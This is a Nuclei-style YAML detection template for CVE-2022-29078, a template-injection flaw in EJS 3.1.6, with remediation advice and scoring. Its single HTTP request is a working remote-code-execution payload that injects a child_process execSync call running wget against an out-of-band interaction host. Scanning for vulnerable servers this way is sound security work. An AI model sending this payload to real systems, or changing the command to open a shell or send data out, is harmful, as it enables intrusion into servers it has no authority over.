51 lines
2.0 KiB
YAML
51 lines
2.0 KiB
YAML
id: CVE-2022-29078
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info:
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name: Node.js Embedded JavaScript 3.1.6 - Template Injection
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author: For3stCo1d
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severity: critical
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description: |
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Node.js Embedded JavaScript 3.1.6 is susceptible to server-side template injection via settings[view options][outputFunctionName], which is parsed as an internal option and overwrites the outputFunctionName option with an arbitrary OS command, which is then executed upon template compilation.
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impact: |
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Remote code execution can lead to unauthorized access, data leakage, and complete system compromise.
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remediation: |
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Upgrade to a patched version of Node.js Embedded JavaScript (3.1.7 or higher) to mitigate the vulnerability.
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reference:
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- https://eslam.io/posts/ejs-server-side-template-injection-rce/
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- https://github.com/miko550/CVE-2022-29078
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- https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf
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- https://nvd.nist.gov/vuln/detail/CVE-2022-29078
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- https://github.com/mde/ejs/releases
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2022-29078
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cwe-id: CWE-94
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epss-score: 0.28707
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epss-percentile: 0.96859
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cpe: cpe:2.3:a:ejs:ejs:3.1.6:*:*:*:*:node.js:*:*
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metadata:
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max-request: 1
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vendor: ejs
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product: ejs
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framework: node.js
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tags: cve,cve2022,ssti,rce,ejs,nodejs,oast,intrusive,node.js
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http:
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- raw:
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- |
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GET /page?id={{randstr}}&settings[view%20options][outputFunctionName]=x;process.mainModule.require(%27child_process%27).execSync(%27wget+http://{{interactsh-url}}%27);s HTTP/1.1
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Host: {{Hostname}}
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the HTTP Interaction
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words:
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- http
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- type: word
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part: body
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words:
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- You are viewing page number
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# digest: 4a0a00473045022100afb6acf46e188f010c99e8bddfbd508e62a1c34e3de7cc56d83a8538a16929f602200b75c244bf4ca105f25c7fdd2fc3ac5482cd4b7fdd21ca483cb95ffe11520409:922c64590222798bb761d5b6d8e72950 |